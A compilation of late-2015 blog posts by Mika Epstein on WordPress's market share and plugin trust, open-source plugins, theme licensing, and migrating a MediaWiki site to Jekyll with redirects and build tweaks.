In early November, WordPress reached the 25% saturation threshold. We have, generally, taken that to mean that WordPress powers 25% of the Internet. A more accurate statement [by W3Techs](http://w3techs.com/technologies/details/cm-wordpress/all/all) is this:
> WordPress is used by 58.7% of all the websites whose content management system we know. This is 25.0% of all websites.
That means sites like my library (which is using Jekyll) or a site built by hand because it’s 5 pages are still considered. Jekyll and Github pages might skew the spectrum, but I’m going to give them the benefit of the doubt, that they know how to adjust for that. [The statistics are really quite impressive](http://w3techs.com/blog/entry/wordpress-powers-25-percent-of-all-websites).
But with that volume of users comes a great responsibility.
952,795,650 websites and counting. If we take away the 75% that are parked domains and redirects, we have 238,198,912 websites. Let’s call it 240,000,000. Of those, 25% are WordPress. 60,000,000 websites on WordPress. 48,000,000 users is 80% of that. Realistically, since we all have multiple websites, I’ll say 45,000,000 individuals.
We are now trying to build websites and predict the behavior of 45,000,000 users.
And you know what? I’m *not* excited about it. I was a little excited when we hit 16% but when we hit 18% and then 20%, I started to be filled with dread. The numbers of who uses WordPress are skyrocketing, and while I should fear the edge of the cliff, the day the inevitable WordPress killer steps out of the shadow and destroys us (by the way… that totally happened to Windows and Mac, didn’t it? They’ve been top dogs for even longer…), I worry that we’re now crossing a different line.
When we start to propose things like embedding posts, or speeding up WordPress by shunting legacy code to a plugin, or dropping support for shortcodes, I fear we’re about to walk off the cliff ourselves.
Let me paint you a picture of our world.
We have spent a decade (close to 11 years) teaching people to use plugins. We explain that the exhaustive feature set of WordPress is best served by plugins. We have created a moderated, but not curated, repository of themes and plugins. We allow multiple plugins for innovation, for solving problems in new ways, and for demonstrating the myriad ways which one can use WordPress. Similarly we have taught them that themes are the right way to design and style a site, and themes can also be at the forefront of these innovations.
That said, we have not yet managed to teach people *how* to pick a plugin or theme. They think it’s on WordPress.org, it must be safe. In general, the majority of themes and plugins on the WordPress.org repository are better written than their premium counterpart. Please note: majority – the minority of stunningly well written themes and plugins are not to be discounted, but let’s be real folks, they’re the minority. At the same time, the majority of plugins on the repository are crap.
So let’s recap. If you take all the plugins in the world and round them up, more of the best ones will be on the WordPress.org free repository, but so will more of the bad ones. Following me still? Okay.
Now end users, the majority of our 45,000,000 users, do not know how to pick a good plugin from a bad one. They don’t know how to read, or even skim the code to find out if it’s secure or not. They rely on maybe a quick search for reported issues, if that. They look, they find, they use. Of course they do. We told them to. We linked them to these plugins and said proudly we had found their solutions.
On top of that, we’ve failed to teach them the importance of upgrades. WordPress core handles security updates, but since plugin and theme developers aren’t all as tenacious and consistent about their updates as WordPress core, we cannot always push updates of themes and plugins. WordPress is reliable. Not everyone else is. Not every one of the 50,000 plugins in the repository can possibly be.
This means we don’t have the ability to just update everyone’s site with themes and plugins right away. We just don’t. There are some plugins and themes that will break when we do, or cause each other to break. Worse, there are some plugins and themes that don’t offer updates. Which means we have created a world where people don’t know they need to upgrade to be safe, or that they have to upgrade if they plan on using WordPress 4.6.
And oh yes, we’ve taught them the importance of upgrading WordPress core very well. We’ve cajoled webhosts into upgrading WordPress core for them. We certainly upgrade WordPress core. That’s why over 80% of sites on WordPress are on the 4.x branch. We did our job well, but not fully.
So when you talk about removing features from shortcodes, or dropping support for PHP 5.2, I think that the people who would be hurt by this would be the people least able to understand why.
These people use plugins and themes and don’t know that Johnny Dev used old code. And if Johnny doesn’t update his code in time to meet the changes to the shortcode API, or there’s a bug that makes it not work in PHP 5.4, the user gets hurt.
And when the user is hurt, they don’t blame Johnny Dev. They blame WordPress.
They blame WordPress because we told them to install plugins and use themes. And they trust us. And in that one move, we have betrayed the trust.
That’s the cliff I see us rapidly approaching. And that is the cliff I fear more than anything else. Our idealism and hope may drive us off the edge before we realize it.
We developers, we builders of WordPress, are the 20%.
**Categories:** How It Is
**Tags:** essay, wordpress
---
### [Rant: Lightboxes and Scrolling](https://halfelf.org/2015/lightboxes-scrolling/)
**Published:** November 27, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Size matters when your box is too big for my screen.
**Content:**
Lately I’ve run into a problem where a tool I’m using has a lightbox that’s cut off at the bottom of the screen.
This generally happens because I have my browser at half-height, or because I’ve pressed the ‘increase font’ keys to make a site 110% text for readability (WordPress P2, I’m looking at you). Here’s what life can look like for me:

This image shows a lightbox cut off midway. The bottom of the picture shows the bottom edge of my browser. Obviously I could make my browser window larger, and most of the time this is what I do. But should I have to? There are situations where I can’t do that, like on mobile. Whomever decided that overlays on mobile was a good idea needs to have their favorite sweaters eaten by moths.
Make your screen scrollable. Make sure your lightbox doesn’t get totally jacked up when a screen is ‘too small.’ A major part of responsive design is not just making sure your site works on mobile devices and ‘full blown’ computers, but that it works on all sizes of monitors when a browser isn’t maxed out.
Here’s another example:

In that image I have what I can only presume is an advertisment that wants me to click something. It’s not until I change my zoom to 75% that I can see this is an ad for Dropbox Business:

Oh and Dropbox was totally unhelpful when I reported these things, which is why they’re getting shamed. They said to fix my screensize.
When a similar issue happened with Slack, I got an apology and a promise to address it. Which they did within a week.
**Categories:** How It Is
**Tags:** design, dropbox, rant
---
### [Mailbag: Why Won't You Help Me From Myself?](https://halfelf.org/2015/mailbag-help-me-from-myself/)
**Published:** November 20, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes when you build a better mousetrap, you only catch yourself.
**Content:**
I won’t name names here but I suspect people know who I’m talking about it. Please note, any comments naming names will be deleted. They deserve a chance to redeem their name and exactly *who* they are is not the issue.
> We never received any advice when we asked. Only warnings.
A company made a new plugin, released it on WordPress.org, and then emailed a lot of people about it.
It was brought to my attention first as a potential plugin violation. Was someone culling emails of the plugin install and using that to send email? A quick check of the code showed that was not the case and I informed the reporters as such.
But then people said “I don’t even use this plugin and I got emailed.”
At this point, I dropped them a note and explained that sending out spam email like that was going to piss people off. Lo and behold, their plugin was filled with one-star reviews.
In the end, the asked the plugin to be deleted because they felt they could never recover. And I had not helped them, only warned them. This was true. I had not offered to help them make peace. I’d told them what was about to happen. And it did.
Why didn’t I help them? Simply, I’m not their marketing department.
As I said. Who they are doesn’t matter. They aren’t the first person to have this problem and they won’t be the last. And the question they’re really asking is two fold.
First, why won’t I delete bad reviews based on people not liking getting spam. Second, why won’t I fix the problem.
For the first, it’s because the experience of your plugin begins with how someone is introduced to it. If the first experience I have with a product is a racist or sexist ad, I will not use it. If it’s a product I was considering using, I might leave a comment or review saying “I would have used this but…” That was my experience. It doesn’t matter than I never used the product if my experience with it beforehand was strong enough to inspire me to leave a review.
For the second, I can’t fix your problem. You did this to yourself. You had a poorly conceived of ad campaign and it shot you in the foot. You aren’t the first person to have this problem and you won’t be the last. You’re just someone else who screwed up and was hit by the social monster.
And you know what? It sucks, and it’s not fair, but it’s something you did to yourself. Yes, you did it by accident, but covering it up doesn’t make it go away.
We all screw up. We all have to apologize. If it was me? I’d reply to every single one star review and tell them I was sorry, it was a bad idea, I won’t do it again. And then I’d donate money in WordPress’ name to the EFF, explaining that while I can’t compensate them for the plugin without it approaching bribery, I can endorse the protection of our online privacy, which I flagrantly disrespected.
It won’t be perfect, but it gets you started.
**Categories:** How It Is
**Tags:** mailbag, wordpress
---
### [Say Thank You Publicly and Be a Better Coder](https://halfelf.org/2015/thank-you-better-code/)
**Published:** November 30, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When I was at WordCamp Tokyo, I was reminded of the power of a thank you and how it makes Open Source better.
**Content:**
Takayuki Miyoshi is one of the best developers for WordPress you probably don’t know about. Miyoshi-san is quiet, thoughtful, and had written a handful of plugins you probably do know. Like [Contact Form 7](https://wordpress.org/plugins/contact-form-7/). He’s also written a wonderful multilanguage plugin called [Bogo](https://wordpress.org/plugins/bogo/).
He gave his very first presentation in English about [why he uses free plugins](https://ideasilo.wordpress.com/2015/11/02/why-we-should-choose-free-plugins/). Miyoshi-san’s reasoning is plain and simple. By giving back to WordPress and open-sourcing the code, you have a greater chance of people helping you make your code better. More people will find bugs, more people will help you fix, more people will use it, and things will be made better for everyone.
This is much the same idea as Pippin Williamson has about his open source philosophy. Now Pippin is pretty upfront that he thinks [you should open source your plugins](https://pippinsplugins.com/should-you-open-source-your-plugins/). And he’s got some strong views on [supporting your site projects](https://pippinsplugins.com/an-open-letter-on-side-projects/) (and the responsibility there in). But he also mentioned once that he supports putting premium (i.e. paywall’d) products on Github.
For free.
That’s right. He said you can totally put your code up on Github for anyone to download or edit or fork.
I thought about it for a moment, and how open and honest Pippin has always been with his code, and how some of his early WordPress code was not the greatest. Yes, I have been around WordPress long enough that some of the people I think of as being ‘The Real Shit’ about coding for WP were pretty bad. Maybe not as bad as I was when I started, maybe they were. My point is that Pippin, like everyone else, started out as a beginner. And some of his beginner code was bad, like everyone else’s.
Would Pippin be as good a programmer as he is today without open source and without people giving him code corrections and suggestions?
I think not.
Furthermore, I don’t think that you’re going to lose any money here. The intersection of people who would both buy your plugin and are technically capable of using Github to install plugins is pretty small. I say this as someone who understands well the desire of people to get things ‘free’ from the internet and the seriousness of customers. If you make it easy for someone to buy your products (and in the case of WordPress, get updates for it), people *will* pay you. Because they like convenience. Remember the tale of [Oatmeal vs HBO](http://theoatmeal.com/comics/game_of_thrones). If you stop people from being able to get your product easily, they just won’t.
Most people are afraid of monetary loss, which I get. But you have to rethink things. First of all, *most* people won’t use Github. They won’t like not getting security updates, for one. And if you present Github as a technical place, they won’t use it. Done. Secondly, I happily bought the *Person of Interest* DVDs once Netflix got punched by (I presume) WGN on re-broadcast rights and couldn’t show me Season 4 before Season 5 airs. I get the added bonus of watching it on my Blu-Ray player, in super ultra HD. This behavior is **NORMAL**. Amazon made it *easy* for me to get what I wanted, and now I own it and if the Internet is out, well I’ll watch Root and Shaw and the Machine all day.
And there’s something else to consider. The people who would use Github to get something for free are the folks who wouldn’t have paid in the first place. You’re losing money that you’d never have. To help explain this, I’ve made a little Venn Diagram for you, to show you how small this intersection is:

I’m serious here. This is non-mathematical but based on my allegorical experiences of years in support be it free or paid. This is coming from someone who lives and breathes WordPress plugins. If you make it easy for them to pay, you will not lose money by putting the code up in a way for other developers to submit pull requests. That small sliver of green, the people who can use Git and would still pay you, those are your contributors. Those are the people you want. Because Open Source Code means more eyes, and more eyes means more reviews, and more reviews means better code.
Everyone wins.
And like Pippin and Miyoshi-san, I think that having your code available for others means I may learn new things and become a better developer. When I say ‘pull requests welcome’ what I mean is ‘teach me what you know, I love to learn!’ Even if I say “No, I don’t want to add that feature” trust me that your lesson was welcome and absorbed.
When I went to WordCamp Tokyo, I had the intention of seeking Miyoshi-san out to tell him how much I like Bogo. That it solved a problem for me. That it just worked. That the code was good. Miyoshi-san also wanted to tell me thank you for the things I’ve done for him.
It’s possible we both got a little teary eyed.
And he and I agree on the big things. Make your code available for others to review and comment on and get pull requests. It will make you better.
**Categories:** How It Is
**Tags:** coding, development, essay, plugins
---
### [Mapping the Apple Watch](https://halfelf.org/2015/mapping-apple-watch/)
**Published:** November 18, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using the Apple Watch to get lost and un-lost is always interesting. Unless you use Google Maps. Then it sucks.
**Content:**
While in Japan, I had the chance to use my Apple Watch to get around and I figured out something.
For walking or driving, the Apple Map app is the best to use with the Apple Watch. Not only do you get turn by turn directions with the haptic taps, but you can quickly see what’s next if you’re not sure what side of the street to be on. The haptics I love:
> A steady series of 12 taps means turn right at the intersection you’re approaching; three pairs of two taps means turn left…
I use this feature constantly. It’s brilliant to be able to walk around and enjoy the area I’m in without worrying that I’ll get too terribly lost. As I walked through Kanda, my wrist tapped “tap-tap, tap-tap, tap-tap” and I turned left like a boss. The only time I used my phone was when I was at a five-way intersection. I can even use it to walk from my father’s apartment to his mother-in-law’s house a few blocks away. Or the 7-Eleven (which are awesome in Japan).
For public transportation, the Google Maps app is brilliant. No. It’s phenomenal. Ueno station, in Tokyo, is one of the more complicated and confusing stations I’ve ever seen. It’s crowded, it has a damn shopping mall on top of it, and it’s where seventeen major train lines meet. The Google Map can, most of the time, tell me what track to be on and when for what train.
Ueno makes Penn Station look tiny.
But Google Maps can’t do ‘both.’ In fact, I’ve learned the Google Maps app is getting worse at things. You see, you go through Ueno to the Keisei Skyliner (the train to the airport) when you take the train from my dad’s apartment to Narita. It’s very simple. Takasaki line from Ageo to Ueno, exit Ueno via the South (not the Park) exit. Turn right. Pass the duck. Done.
Instead of showing you a walking route, when I asked Google Maps to get me to Narita, it drew a straight-as-the-crow-flies line from Ueno Station to Keisei Skyliner. Yeah. Not so much there, Google-San.
It only got worse when I wanted to take the train from Ageo to Kanda for WordCamp. You’d think that Google would be able to alert me, since they have an Apple Watch App, with taps “Hey, get off the train at the next stop.” But they don’t. In fact, the Apple Watch app just lists the directions, not very well, and doesn’t give me alerts. Even worse, you can’t easily track from the iPhone to the Watch. When I put in a direction on my Apple Maps, it automatically triggers the map on my Watch. Google Maps only shows ‘recent searches’ and Work and Home.
It’s an absolute fail to use the technology properly.
To make Google Maps ‘right’ for the Watch is pretty simple.
1. Direction alerts. Tell me when to turn left or right. Steal it from Apple or make your own.
2. Change train alerts. Tell me when I should get up. This will prevent people from sleeping through their stops.
3. Give me easy directions to anywhere. Let me set up a path on my phone and immediately transfer it to my Watch.
4. Use Siri. “Hey Siri, use Google Maps to get me home.”
Four things. I’d settle for the first two, though I think the first three should be a priority for user experience.
Until then, I’ll have to use my iPhone for transportation in a strange land, and my Watch for walking around the planet.
**Categories:** How It Works
**Tags:** app, apple, essay, review, watch
---
### [The Security of a Lifetime License](https://halfelf.org/2015/security-lifetime-license/)
**Published:** November 13, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** StudioPress ups and downs the value in their pro-plan, making me think about the hidden value of a lifetime license.
**Content:**
A few years ago, before I started working for DreamHost but after I decided I wanted to do WordPress all the time, I bought the [StudioPress All Themes Package](http://www.shareasale.com/r.cfm?b=242693&u=728549&m=28169&urllink=&afftrack=). For $500, it gave me a lifetime access to all their themes, all their future themes, support, and more. So I tucked away all my ad and ebook income for a while and bought it the day before a 50% deal hit. Of course, right? Brian being a wonderful guy, saw my amused tweet and credited me the difference.
Since then, I’ve pretty much been a nothing but StudioPress shop. Almost every site I run on WordPress is using StudioPress themes. I’ve gotten free upgrades for all their themes, free versions of the ‘pro’ themes (all the HTML5 friendly ones), and it’s very much been worth it to me.
But licensing is a strange subject. [Chris Lema recommends charging annually](http://chrislema.com/subscription-fees/) (instead of monthly). And while I have a lifetime subscription, the unlimited free support will be leaving this world soon. From what I’ve heard, this only impacts support. To be honest, I’ve filed less than ten support tickets in five years. And it’s not because I’m savvy. There’s very little that I need help with to use Genesis themes. They have pretty darn good directions on how to reproduce their demo sites, they have code snippets, and they have a friendly self-help forum.
Basically, this code is tight. Right now I’m using the [Generate Pro Theme](http://www.shareasale.com/r.cfm?b=353079&u=728549&m=28169&urllink=&afftrack=) on this site, but I also bought [Utility Pro theme](http://www.shareasale.com/r.cfm?b=778546&u=728549&m=61628&urllink=&afftrack=) from Carrie Dils (worth it). The child themes rarely need updating, and all I ever have to worry about is the parent Genesis theme being updated, which is easy as pie. They have their own updater.
My friend [Amanda Rush](http://www.customerservant.com/studiopress-now-includes-third-party-themes-in-its-proplus-package/) (also a StudioPress fan) wonders if this heralds the end of days of unlimited forever support and licenses. I suspect so. Will I be annoyed if I have to start paying for updates? Maybe, but mostly because I have a serious concern about security.
Let me paint a picture for you. I get a free parent theme or plugin, it could be Genesis (the StudioPress parent theme) or WooCommerce (a popular ecommerce plugin), and I purchase an ‘add on’ of a child theme or an extension plugin. I pay for a year, and I’m happy. The add-on does what I wanted, I get my updates, and everything’s cool. Then one day, 370 days later, there’s a major issue. A massive security hole and suddenly my site is vulnerable!
My license has run out.
Do I get the update or not?
Do I get notified of the update or not?
I’ve seen this play out over and over again with sites like CodeCanyon and ThemeForest. How do people who have purchased a product get alerted properly and given the ability to update? We’re spoiled because if Jetpack or WooCommerce itself has a critical hole, those plugins are *free* in the WordPress.org repository. And I know, from working on that team, that if there’s a big enough issue, then the free plugins get updated and the update is pushed out to everyone. It’s rare, but when it happens, it’s for the benefit of everyone involved.
The sad truth is most one-off shops can’t do that. WordPress.org can update *all* [branches of your plugin](https://halfelf.org/2015/update-fatigue/). If you’re properly using versions for your plugins and themes, then you can release version 2.3.1 to fix a bug, but also fix that bug on 2.2.4 and 2.1.9 and so on. And yes, WordPress can push those branches (2.3 and 2.2 and 2.1) so even people on older versions can get fixed.
To the best of my knowledge, no one else does that yet.
And, perhaps worse, some won’t even consider letting you have the security update because your license isn’t up to date.
All that said… Should you buy it, knowing you may not get support and updates forever? Yes. Right now, the [StudioPress Pro Plus All-Theme Package](http://www.shareasale.com/r.cfm?b=242693&u=728549&m=28169&urllink=&afftrack=) is on sale. $262.46 for every theme *plus* third party themes. The sale goes on until the 16th, so grab it this weekend.
It’s an investment I’ve never regretted.
**Categories:** How It Is
**Tags:** essay, security, wordpress
---
### [Octopress](https://halfelf.org/2015/octopress/)
**Published:** November 16, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Adding new tools to my Jekyll bag.
**Content:**
A brief history lesson. In the beginning there was Jekyll, a website generator that created static sites for you to deploy to your server. And then there was [Octopress](http://octopress.org/), a ‘framework’ for Jekyll that actually was a fork of one guy’s Jekyll site.
> Octopress is basically some guy’s Jekyll blog you can fork and modify.
That’s a direct quote from Brandon Mathis, the creator and curator of Octopress. But it wasn’t a framework like WordPress people think of Frameworks. It wasn’t like [Underscores](http://underscores.me/), which is just a theme framework. It really was more like a one-click install for Jekyll, that had someone’s theme on it.
Wisely, Mathis is working on changing this. Starting with Octopress 3 (currently 3.0.11) it’s a Jekyll add-on. While there is no ‘migration’ explanation yet, if you’ve never used Octopress, it’s a great time to start.
## How to Install
Add this line to your application’s Gemfile:
And then execute:
You can also install with bundler if you want, but it works out about the same in the end.
## How to Use
I was stuck using bundler on my personal computer. That meant to use Octopress I had to do this:
Sucks, doesn’t it? After reading [Ben Hamill’s post about ‘never typing bundle exec again’](http://garbled.benhamill.com/2013/09/03/never-type-bundle-exec-again/), it was fixed! I used the Ruby fix since it’s just me on the project.
Now I can use `octopress` as my command prefix.
## What I Dig
The deploy is [way better than my own](https://halfelf.org/2015/deploy-jekyll-without-ruby). Just put that out there.
Also there’s a [draft command](https://github.com/octopress/octopress#new-draft)!
That will make the file `/_legal/terms/index.html` and I’m happy. If I want to use custom templates, I can do that too:
Sadly I can’t move the template folder. I wanted to store it in `_jekyll/templates/` but that’s not an option. Also moving things to the `_drafts` folder is a little techy at best, since they assume you want to make posts and I’m making collection pages.
Most of the time I do exactly what I was doing with MediaWiki, and that is to copy the content of an existing file into a new one. Most of the time I just copy the file, rename, and edit it. It’s not perfect, but it works and I know I get the right layout that way. I plan to look into why drafts is so touchy about where things are, and how to make it behave better with collections, but Octopress 3 is still in the early stages.
**Categories:** How It Is
**Tags:** jekyll, octopress
---
### [One Direction: Sanely](https://halfelf.org/2015/one-direction-sanely/)
**Published:** November 11, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The way you flip your URLs has me overwhelmed.
**Content:**
In my ongoing saga of moving from MediaWiki to Jekyll, I decided to be smart and rename all my URLs.
Stop.
I know that’s the *worst* thing you can do. Please put down the pitchforks. I didn’t do this without redirections and I didn’t do it without deep thought. You see, the issue with MediaWiki is that it was a pretty flat file representation of the site. This doesn’t *have* to be the case. You can choose to put pages as sub-pages on MediaWiki very easily, but few people do. I didn’t. That means I had around 1000 pages that, in Jekyll land, would all be in one folder. And that sucked. Like I mentioned before, [I made Collections](https://halfelf.org/2015/jekyll-collections).
This meant I was moving from `example.com/PAGE` to `example.com/folder/PAGE/` (and yes, the backslash matters, MediaWiki doesn’t do that). Now, from a structural standpoint, this makes a lot more sense. You want to have a collection of interviews, you have `example.com/interviews/year/interviewname/` and that’s ridiculously easy to understand. But. When you’re moving from no structure to some structure, you have to accept a bit of a loss.
So here’s how to redirect sanely:
1. Make a list of what has a direct relation to a new page
2. Look at your page visits to see what’s hit the most and make sure that’s redirected
3. Have a catch-all at the end
That’s it! Three simple steps to do it. But how did I do it?
On the Wiki, I had a whole subsection called “Encyclopedia” which had all my internal documents like the about page, the policy pages, and so on and so forth. Those were all moved to the WordPress blog. Most had a new page, but the category itself did not so I added this the .htaccess in root:
That’s all incredibly straightforward for .htaccess rules. The first three are one-to-one direct links and the last three are with variables to handle URL strings like “Terms\_Of\_Use” and “Terms\_of\_use”, both of which were Wiki-forwarded to the correct “Terms of Use.” Similarly, I wanted to redirect “General\_Disclaimer” and “Disclaimer” to one page, simplifying things.
This pattern of one-to-ones continued on through my .htaccess. Pages that I could link like that I did. But then I hit on a couple big sections, the Interviews and News Articles. Those I had, for years, broken apart into pages by year. So I cleverly used tricks remembered from changing my WordPress date permalinks to do this:
The main URLs were directed to the new main locations, but the per-year ones were sent, logically, to their new year locations. But that was the easy part. When I moved things over, I got rid of ‘character’ pages (which I had only sporadically updated anyway) and I wanted to combine a lot of the redundant pages:
That’s starting to look a lot better. I did a lot of those. I tried to make them as dynamic as possible, but there were limits. In the end, I had about a dozen popular links I had to do manually. I don’t like that, but that’s the world I got myself into. I wanted to be able to redirect news and interviews to at the very least their year page, but as it turned out, I used the same naming conventions.
See the problem? There’s no way to really point those around. I played with a lot of options before I ran a search my recent traffic to see what pages were popular that people were going to in the `/wiki/` folder and redirected them as best I could.
Finally I had my fall back:
This is the last rule. If anything gets through the others and down to this one, it sends them to a new page that explains where the wiki went and links to the popular pages.
The most important thing to remember in all this is to put things in order. Your `.htaccess` is a top-down file. It starts at the top, it processes rules in order, until it’s done.
**Categories:** How To
**Tags:** htaccess
---
### [App Review: iStat Menus](https://halfelf.org/2015/app-review-istat-menus/)
**Published:** October 30, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A quick review of a desktop app I love for keeping tabs on my stats. My computer stats.
**Content:**
It’s a simple question. If the meeting is held at noon Pacific time, what time is it UTC? The answer is 1900 hours.
The reason for the question is complicated. I work with people around the world. My family lives in a multitude of timezones, some across the date line. I travel a lot. I need to know when ‘now’ is, and I need to know when ‘now’ is for someone else all the time.
Enter [iStat Menus](https://bjango.com/mac/istatmenus/) for Mac.
It’s not actually meant for what I use it for. iStat Menus is to help you make a menu item on your Mac that shows you some interesting stats. I can see, at a glance, how strong my wifi really is, or my computer’s temperature (I’m on a MacBook Air, so this is important). I can look at how much memory I’m using to quickly see why things are slow. It gives me quick links to deep dive into things. It’s wonderful when I’m testing new apps and I can see that, yes that one is slow slow slow.

But the side benefit for me is how it replaces the Time and Date Menu in my Apple menu bar. When I click on the time, I get this:

I get my month at a glance, a list of everything for today (including birthdays which I blocked out for you) and then it lists what time it is now in various place. If I hover over each time, I get more details including a Mercator map showing where daylight is right now and relative other places people care about. For $18 I’m able to keep track and know “Oh, maybe I shouldn’t ping someone on social media when it’s 2am for them…” For that alone it would be worth it, but the rest have become invaluable to debugging why my laptop was rebooting randomly.
If you just need the basic stats, [iStat Mini](https://bjango.com/mac/istatmini/) is pretty brilliant. And it’s free.
**Categories:** How To
**Tags:** app, apple, macintosh, review
---
### [Quick Notes on Ruby and Jekyll](https://halfelf.org/2015/ruby-jekyll/)
**Published:** November 9, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A very quick, brief, overview on the relationship of Jekyll, Ruby, and Gems.
**Content:**
I feel like I should be writing about *Once Upon A Time* at this point…
Let’s take a moment to talk about our stack here.
- Ruby is a dynamic, reflective, object-oriented, general-purpose programming language.
- Ruby libraries are bundled into gems.
- Jekyll is a gem that can publish static websites.
- [Bundler](http://bundler.io/) lets you list all your dependencies required for the project you’re working on.
- A `Gemfile` is a file in which we can list gems for the aforementioned dependencies.
Still with me?
This matters because you can use a `Gemfile` to define your standard libraries for a Jekyll site. The general idea is that you install Bundler:
Then you make a Gemfile in your Jekyll folder:
What this does is it defines what version of Jekyll I want to use and some of the gems I want to use. For example, if I wanted to add [Jekyll Compose](https://github.com/jekyll/jekyll-compose) to all the users of my Git repository, I would add this:
Now all they have to do is run `bundle` after their git pull, and they get the new requirement.
**Categories:** How It Is
**Tags:** coding, jekyll, ruby
---
### [Mailbag: But You Can't Post Mobile!](https://halfelf.org/2015/mailbag-cant-post-mobile/)
**Published:** November 6, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Mobile posting from Jekyll really isn't a thing. But it's not like it was much better with MediaWiki anyway.
**Content:**
This has been marked as the biggest downside to using Jekyll. Once I started telling people I was moving the Wiki to Jekyll, a great many of them were cautionary about this issue.
> How do you post from your phone or iPad?
The answer is that I don’t.
I won’t lie. Mobile posting is a pain. Since I don’t have Jekyll running on my server, I can’t edit a file there and regenerate. If I had that it would all be a lot easy. In my case, since I’m using it as a non-blog it’s never the place I need to post mission critical things. Besides, if you’ve ever tried to keep your pretty formatted WordPress site updated when you want a custom crafted excerpt and a featured image, from your iPad, I gotta tell you … it sucks.
And that’s WordPress, something that has a dedicated, usable, app for iOS. WordPress is also pretty okay in mobile. People like [Ryan Boren](http://ryan.boren.me/) spends a great deal of time caring about mobile usage. WordPress has gotten slower on the admin side in the last decade, but it’s gotten more responsive and agile at the same time.
MediaWiki not so much. Editing should be a lot easier, seeing as there’s no ‘admin’ back end to mess with things, but for whatever reason MediaWiki was always terrible on my iPad. It was next to unusable on my iPhone. Even with their default themes (remember, with MediaWiki you see the front end theme on page edits) it was dodgy.
Furthermore, what did I need to post? This is a wiki-type documentation site. It is rarely, if ever, updated on the fly. It houses long form news articles. There are recaps of TV episodes, explanations of humanitarian events, and reports of events. There is no live blogging. There is no quick off the cuff journaling. It’s storytelling.
So here’s my ‘mobile’ workflow.
1. Write the content in something, probably Byword
2. Email it to myself
3. Probably rewrite the whole thing in longer form, with design and fancy things
4. Post
I could probably streamline that better if I saved from Byword to Dropbox and had that automatically copy over (suggestions welcome), but I don’t really write from my iPad that much. I usually send myself an email with six or seven links and a note to ‘Import these things…’
**Categories:** How It Is
**Tags:** jekyll, mailbag, mediawiki
---
### [Jekyll Table of Contents](https://halfelf.org/2015/jekyll-table-contents/)
**Published:** November 4, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Adding a 'simple' table of contents to Jekyll makes you consider the weight of your site. Is a heavy overhead worth it?
**Content:**
One of the cool things about MediaWiki, about the only thing I missed, was the built in table of contents display. With Jekyll, since this was a static sort of site, you would have to tell it ‘When you build this page, include a table of contents.’
And I found a brilliant Jekyll plugin, [Jekyll ToC Generator](https://github.com/dafi/jekyll-toc-generator), that added in a beautiful jquery based table of contents with a click back to top feature. But there was a problem. When I installed it and ran a build to test it, my Jekyll site took *nine times* as long to build.
In order to generate a Jekyll site, you run the command `jekyll build` and, on Jekyll 3.0, that gives you the output “done in 8.493 seconds” or so on. Now, if I do a full build on a site I’ve cleaned (there’s a `clean` command you can run to scrub the site and ensure you get a clean rebuild), it generally takes about a minute. That’s to build a thousand files with a lot of weird trickery. If I’m just rebuilding the changed files, it takes about 10 seconds. Much more reasonable.
With the ToC Plugin, it took 98 to 100 seconds, *every single time*. Right away, I knew why. I had included a plugin that had to check every single page on the site on that rebuild, see if it needed a table of contents, and then build the page. Of course that took a long time!
I’m always talking about needs and wants when I work on websites. It’s a basic principle my high school drilled into me. Understand what you *need* and how it’s different from your wants. Don’t compromise on needs. Well, I knew that I didn’t need a table of contents, not on every page, so it clearly had to be a ‘mostly want.’
By contrast, having my site build quickly was a need. A fast build ensured less overhead, less weight, and less time spent. Time is a massive factor in websites. The rendered site has to be fast for users, this much is obvious to everyone. But having your build be fast means you, the site maintainer, spends less time on the parts that don’t make the site better, freeing you to develop and write.
Also speed is something Jekyll wants to work on. The build different between the 2.3 version of Jeykll and the 3.0-pre beta, is incredible. In 2013, a site with “362 articles with 660 words in average” took around 10 minutes for a full build. I have double the articles, about the same amount of words, and it’s a minute for a full build. It’s faster on my faster laptop (duh).
The decision tree for Jekyll is more obvious on build than the same one is for WordPress (or MediaWiki) on render. The basic concept is simple. The more complex your site, the longer it takes to generate pages. For WordPress (or MediaWiki, or Drupal, or Joomla, etc etc), the render happens when someone visits your site. For Jekyll and other static site generators, the render occurs when you build the site. That means with Jekyll I can see right away, before I get close to deployment, which means I make the decisions well before the ‘stage’ step of my deployment process.
What’s more important? The complexities that make your site personal or a fast build?
Here’s an example from a Jekyll discussion on the matter. Someone had the following code in the templates, which made the date output rather pretty:
But that had to run on page builds, which naturally was going to make a site slower. One of the ways Jekyll has improve this was to introduce incremental updates. Only update the pages that need updating. That is a big “baboom!” moment and it let me run the plugin jekyll-last-modified-at (which spits out a last modified date on pages) without any performance hit except on the clean build. Since that only gets called when a page is built, and a page is only built when it changes, it’s a massive improvement for me.
What does all this have to do with the table of contents?
Once I pushed it into a ‘want’ and not a ‘need’ I opened my mind to other possibilities. I stopped looking for a Jekyll or Ruby or Liquid based table of contents, and I asked myself “Can Markdown make a table of contents?”
Markdown is a ‘language’ like HTML that is actually faster to write in than raw HTML but can be read, rendered, and output as HTML. I’m a big fan of HTML and part of why I picked WordPress back in the beginning was that I stumbled on a post where Matt Mullenweg talked about how he didn’t like bbCode and didn’t want it in WordPress. HTML was something we knew. Why make people learn something new?
It wasn’t until I started [blogging more on my iPad and phone](https://halfelf.org/2015/markdown-isnt-bad/) that Markdown made sense. Now I’m quite the fan. But I knew that I didn’t know a whole lot about Markdown. I did know that Jekyll used a flavor called [‘kramdown’](http://kramdown.gettalong.org/) (all lowercase) so I read up on that and found that kramdown has a built in [built in table of contents generator](http://kramdown.gettalong.org/converter/html.html#toc) that was incredibly easy to implement.
It’s not something I want (or need) on every page, so I just put that on a few pages. No real overhead added and it’s easy enough to style with CSS. Suddenly I have my cake and I can eat it too.
**Categories:** How To
**Tags:** coding, design, jekyll, markdown
---
